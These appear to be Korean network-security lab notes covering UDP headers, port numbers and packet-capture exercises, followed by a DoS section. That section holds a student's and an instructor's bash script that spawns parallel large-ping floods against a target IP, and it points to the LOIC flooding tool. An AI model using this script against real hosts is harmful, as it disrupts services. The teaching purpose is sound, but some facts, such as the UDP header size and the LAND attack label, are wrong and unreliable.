+--------+----------+----------+--------------+--------+ +-----------------+
[그림] UDP Encapsulation in IP Datagram
[실습] UDP 패킷을 캡쳐하고 UDP 헤더를 분석
● RFC 768, RFC 1122
● nslookup 명령어의 패킷을 캡쳐하고 UDP 헤더 부분을 분석한다.
● linux200(nslookup CMD) --> kns.kornet.net(named(53))
Display Filter : dns && ip.addr == 168.126.63.1 && ! ip.addr == 192.168.10.100
[참고] UDP 헤더 분석
- 기본 헤더 : 20bytes
- 옵션 사용시 헤더의 최대 크기 : 60bytes (헤더의 길이: 20 ~ 60 bytes)
- IP 주소 + 포트 번호 = 소켓 번호 (양쪽 호스트 내 종단 프로세스 식별)
■ 발신 포트(Source Port, 16 bits)
● 송신 호스트 응용프로세스가 사용하는 번호
■ 수신 포트(Destnation Port, 16 bits)
● 수신 호스트 응용프로세스가 사용하는 번호
■ 패킷 전체 길이(Packet Total Length, 16bits)
● 바이트 단위의 길이. 최소값 8(헤더만 포함될 때)
■ 검사합(Checksum, 16 bits)
● 선택 항목. 체크섬 값이 0이면 수신측은 체크섬 계산 안함
(5) 포트(Port) 번호 체계
(5-1) 포트 번호가 필요한 이유?
■ IP 주소(IP Address) : 호스트(Host) 또는 물리적인 포트를 구분하기 위한 번호
■ 포트 주소(Port Address, Port Number) : 서비스(Service) 구분하기 위한 번호
(5-2) 포트 번호(Po-rt Number)에 대한 설명
MAC 주소(MAC Addr) : 6 bytes (48 bits)
IP 주소(IP Addr) : 4 bytes (32 bits)
Port 주소(Port Num): 2 bytes (16 bits)
포트번호는 인터넷이나 기타 다른 네트웍 메시지가 서버에 도착하였을 때, 전달되어야할 특정 프로세스를 인식하기 위한 방법이다. TCP와 UDP에서, 포트번호는 단위 메시지에 추가되는 헤더 내에 넣어지는 16 비트 정수의 형태를 갖는다. 이 포트번호는 논리적으로는 클라이언트와 서버의 전달계층 사이를, 그리고 물리적으로는 전달계층과 인터넷계층 사이를 통과하여, 계속 전달 된다.
예를 들면, 클라이언트가 인터넷 서버에 하는 요청은, 호스트의 FTP 서버에 의해 제공되는 파일을 요청하는 것일 수 있다. 원격지의 서버 내에 있는 FTP 프로세스에 사용자의 요청을 전달하기 위해, 사용자 컴퓨터에 있는 TCP 소프트웨어 계층은 요청에 부가되어지는 16 비트 정수의 포트 번호 내에 21 (FTP 요청과 관련하여 통상 사용되는 번호이다) 이라는 포트번호를 확인한다. 서버에서, TCP 계층은 21이라는 포트번호를 읽고, 사용자의 요청을 서버에 있는 FTP 프로그램에 전달할 것이다.
일부 서비스들에 대해서는 인습적으로 영구적인 포트번호들이 할당되어 있다. 이러한 것들을 well-known ports라고 부른다. 그 외의 경우에는, 포트번호는 할당된 포트번호들의 범위 내에서 요청의 시작과 종료 동안에만 일시적으로 부여된다.
(5-3) 포트 번호 체계
The port numbers are divided into three ranges:
----------------------------------------------------------
포트 종류 포트 번호
----------------------------------------------------------
■ The Well-Known Ports 0 - 1023
■ The Registered Ports 1024 - 49151
■ The Dynamic and/or Priv ate Ports. 49152 - 65535
----------------------------------------------------------
The Well Known Ports are those from 0 through 1023.
DCCP Well Known ports SHOULD NOT be used without IANA registration. The registration procedure is defined in [RFC4340], Section 19.9. The Registered Ports are those from 1024 through 49151
DCCP Registered ports SHOULD NOT be used without IANA registration. The registration procedure is defined in [RFC4340], Section 19.9. The Dynamic and/or Private Ports are those from 49152 through 65535
(5-4) 네트워크 서비스 포트
Many system applications support network services. Each network service uses a port that represents an address space reserved for that service. If a port number is not pre-assigned, the operating system allows an application to choose an unused port number. A client often communicates with a server through a well-known port. Well-known ports are stored in the /etc/inet/services file.
[참고] C:\Windows\system32\Drivers\etc\services
# cat /etc/services | more
..... (중략) .....
#
# The latest IANA port assignments can be gotten from
# http://www.iana.org/assignments/port-numbers
# The Well Known Ports are those from 0 through 1023.
# The Registered Ports are those from 1024 through 49151
# The Dynamic and/or Private Ports are those from 49152 through 65535
#
# Each line describes one service, and is of the form:
#
# service-name port/protocol [aliases ...] [# comment]
tcpmux 1/tcp # TCP port service multiplexer
tcpmux 1/udp # TCP port service multiplexer
rje 5/tcp # Remote Job Entry
rje 5/udp # Remote Job Entry
echo 7/tcp
echo 7/udp
..... (중략) .....
--------------------------------------------
필드 설명
--------------------------------------------
smtp 서비스명
25/tcp 포트번호/프로토콜
mail 별칭(Alias)
--------------------------------------------
(5-5) 대표적인 서비스 포트
----------------------------------------------------
포트 설명
----------------------------------------------------
20,21 FTP
22 SSH
23 TELNET
25 SMTP
53 DNS
67 DHCP Server
68 DHCP Client
69 TFTP
79 finger
80 http
110 POP3
111 sunrpc
123 NTP
143 IMAP
161 SNMP
162 SNMP Trap
443 https
514 syslogd
2049 nfsd
7100 fs
----------------------------------------------------
(5-6) 포트번호 확인
■ 포트번호의 전체 목록:
http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xml
■ 포트번호의 전체 목록:
# cat /etc/services
■ 서버에서 사용중인 포트번호 번호 목록
# nmap localhost
# netstat -an | more (# netstat -antp, # netstat -anup)
(5-7) 실무적인 예
--------- (Firewall/Router) -------+--------+--------+------
| | |
ServerA ServerB ServerC
(FTP) (WEB) (MAIL)
(전제조건) 서버에서만 서비스 하는 경우라고 가정한다면
(서버에서)
요청: FTP 서비스 포트를 열어 달라!!!!
-> FTP 서비스 enable
(네트워크 장비:라우터/스위치/방화벽)
요청: FTP 서비스 포트를 열어 달라!!!!
-> FTP 서비스 접근 제어(ACL) Open
(linux200)
# nmap localhost
# netstat -an | grep :21
# service vsftpd stop
# nmap localhost
# netstat -an | grep :21
# service vsftp start
# nmap localhost
# netstat -an | grep :21
[실습] 자신의 서버에 열린 포트를 점검
(6). TCP/UDP 대표적인 서비스 패킷 분석
■ telnet 패킷 분석
■ ftp 패킷 분석
■ ssh 패킷을 캡쳐하여 분석
■ web 패킷을 분석
■ nslookup 패킷 분석
[실습] telnet 패킷을 분석하기
● Tree-way handshake 부분을 중점적으로 분석한다.-> "SYN - ACK/SYN - ACK" 부분에 대한 숫자를 적어 놓는다.
● win2008(telnet CMD) --> linux200(telnetd(23))
[실습] ftp 패킷을 분석하기
● Tree-way handshake 부분을 중점적으로 분석한다.-> "SYN - ACK/SYN - ACK" 부분에 대한 숫자를 적어 놓는다.
● win2008(ftp CMD) --> linux200(vsftpd(21,20))- ftp 접속시 active(not passive)로 접속한다.
[실습] ssh 패킷을 캡쳐하여 분석한다.
● 평문형태와 암호화된 형태의 패킷의 차이점에 대해 분석한다.
● win2008(putty) --> linux200(sshd(22))
[실습] WEB 패킷을 캡쳐하여 분석한다.
● Tree-way handshake 부분을 중점적으로 분석한다.-> "SYN - ACK/SYN - ACK" 부분에 대한 숫자를 적어 놓는다.
● win2008(Web Browser) --> linux200(httpd(80))
[실습] nslookup 패킷 분석하기
● DNS 헤더(DNS Data) 부분을 중점적으로 분석한다.
● linux200(nslookup CMD) --> kns.kornet.net(named(53))
display filter : ! arp && ! dhcpv6 && ip.addr == 192.168.20.200
[실습] ping 안되는 사이트에 대한 hping3 명령어 사용하기
■ DoS(Denial of Service) Attack Type
LAND Attack -> DoS attack (1:1)
Smurf Attack -> DDoS attack(N:1)
LAND(Local Area Network Denial) attack is a DoS(Denial of Service) attack.
The Smurf Attack is a DDoS(Distributed Denial-of-Service) attack in which large numbers of Internet Control Message Protocol (ICMP) packets with the intended victim's spoofed source IP are broadcast to a computer network using an IP Broadcast address.
DoS(Denial of Service) Attack Types
● Flood Attack
● Software Attack
(1) Flood Attack
● TCP SYN Flood공격자 IP를 spoofing 하고 half-open TCP 연결을 시도하여 상대 호스트의 Listening Queue를 고갈 시키는 공격 방법.
● UDP Flood AttackUDP Body에 Garbage Data를 Padding 하여 공격하는 방법.
● ICMP Smurfing AttackICMP 프로토콜과 IP Broadcast 주소를 이용한 공격 방법.
● ICMP Flood Attack
(2) Software Attack
● Ping of Deathping 명령어를 이용하여 ICMP 패킷을 비 정상적으로 크게 만들어 공격하는 방법.
● TearDrop패킷을 겹치거나 또는 일정한 간격의 빠지게 전송하는 공격 방법.(주로 동일한 offset을 사용)
다른 방식으로 DoS/DDoS 구분하는 방법
● Volume Based AttackUDP Flood, ICMP Flood, Spoofed packet-based flood-> (목적) 피해 시스템(타겟 시스템의 대역폭(Bandwidth)을 소진한다.)
● Protocol AttackSYN Flood, Ping of Death, Smurf, Teardrop, Fragemented packet 등-> (목적)
● Application Layer Attack
● Session Exhaustion
[참고] ICMP LAND(Local Area Network Denial) Attack
● 툴을 제작해 보자.예 (윈도우) c:\> ping 10.0.0.1 -t -l 50000 (c:\> ping /?)예 (리눅스) # ping -s 50000 10.0.0.1 (# man ping)
# /root/bin/ping.sh 192.168.20.200 (KaliLinux내에 프로그램을 만든다.)
<CTRL + C> # pkill <program>
* 기능(ping -s 60000 <Target's IP>)
* 테스트(KaliLinux -> linux200/window2008)
● hping3 명령어의 수행결과와 비교한다.[참고] hping3 명령어를 사용한 ICMP LAND Attack
[참고] TCP Syn Flooding 공격
----------------------------------------------------------------------------------------------------
초안
----------------------------------------------------------------------------------------------------
#!/bin/bash
IP=$1
CNT=1
while [ $CNT -le 5 ] #추후 카운트값을 입력받기 위해서 조건문 수정
do
nohup ping -s 60000 $IP > /dev/null 2>&1 &
CNT=`expr $CNT + 1`
done
sleep 5 #순차적으로 보이기위해서 조건문 안에 추가해주면 좋을것
killall -KILL ping > /dev/null 2>&1 & #트랩을 사용해서 종료시그널 이용하면 좋을것
----------------------------------------------------------------------------------------------------
강사님이 수정해주신거
----------------------------------------------------------------------------------------------------
#!/bin/bash
trap 'pkill ping; exit 2' 2 3
if [ $# -ne 1 ] ; then
echo "Usage: $0 <Target IP>"
fi
IP=$1
MIN=1
MAX=5
while [ $MIN -le $MAX ]
do
nohup ping -s 60000 $IP > /dev/null 2>&1 &
MIN=`expr $MIN + 1`
sleep 5
done
sleep 86400
trap 2 3
#killall -KILL ping > /dev/null 2>&1 &
----------------------------------------------------------------------------------------------------
[참고] UDP Flooding 공격
● loic 툴 사용(http://sourceforge.net/projects/loic/)
● windows2008 설치해서 테스트한다.(.NET Framwork 존재해야 한다.)
● 공유디렉토리의 "dotNetFrameWork" 디렉토리에 존재한다.
[참고] 운영체제 내에서 부하량을 주는 방법(로컬 DoS)
[참고] ShoWin 툴을 사용하여 보안 코딩에 대한 이론을 배운다.
- 알FTP(예전프로그램) 사용해 보기
- 알드라이브(현재프로그램) 사용해 보기
- window2008 서버를 사용한다.
- www.naver.com (www.daum.net) 사용해 보기
- [참고] Yasca program (http://www.scovetta.com/yasca.html)
[참고] 툴을 통해 무작위대입공격 또는 사전파일대입공격에 대해 이론을 배운다.
- Brutus Attack(무작위 대입 공격)
- Dictionary Attack(사전 파일 대입 공격)
[참고] KaliLinux에서 Packet Sniffing 작업하기
[참고] KaliLinux에서 DNS Spoofing 수행하기
[참고] SNMP 취약점에 대해서 알아보자.
● SNMP 취약점에 대해서(SNMP의 취약점을 이용한 대응방안 - 동서대 현태원)
● SNMP 취약점에 대해서(실습)
[참고] DHCP 취약점에 대해서 알아보자.
● DHCP 동작 원리
● DHCP 취약점(DHCP Spoofing) -> 과제(EX: ettercap Tools)
■ Application Layer
--------------------------------------------------
Protocol Software
--------------------------------------------------
FTP vsftpd, ftp CMD
HTTP apache, web browser(IE)
SMTP sendmail, mail CMD
TELNET telnetd, telnet CMD
DNS bind, nslookup CMD
........
--------------------------------------------------
■ TCP/IP Model
---------------------------
Application Layer(DNS, HTTP, SNMP, SMTP, ...)
-> DNS spoofing, DHCP spoofing, ... + dictionary attack
---------------------------
Transport Layer(TCP/UDP) -> TCP Syn Flooding, UDP Flooding
---------------------------
Internet Layer(ICMP/IGMP, IP(IPv4/IPv6), ARP/RARP) -> ARP Spoofing, IP Spoofing, hping3 CMD
---------------------------
Network Interface Layer(Ethernet)
---------------------------
http://www.scovetta.com/yasca.html
[과제] yasca 라는 프로그램에 대해서 조사
http://blog.naver.com/PostView.nhn?blogId=chogar&logNo=80201106682&parentCategoryNo=22&categoryNo=&viewDate=&isShowPopularPosts=false&from=postView
http://stginc.tistory.com/entry/%EC%86%8C%EC%8A%A4%EC%BD%94%EB%93%9C-%EC%A7%84%EB%8B%A8-%ED%88%B4-Yasca%EC%97%90-%EB%8C%80%ED%95%9C-%EC%86%8C%EA%B0%9C-%EB%AC%B8%EC%84%9C
http://www.openeg.co.kr/185
http://jaemunlee.tistory.com/1083
http://web-dev.tistory.com/744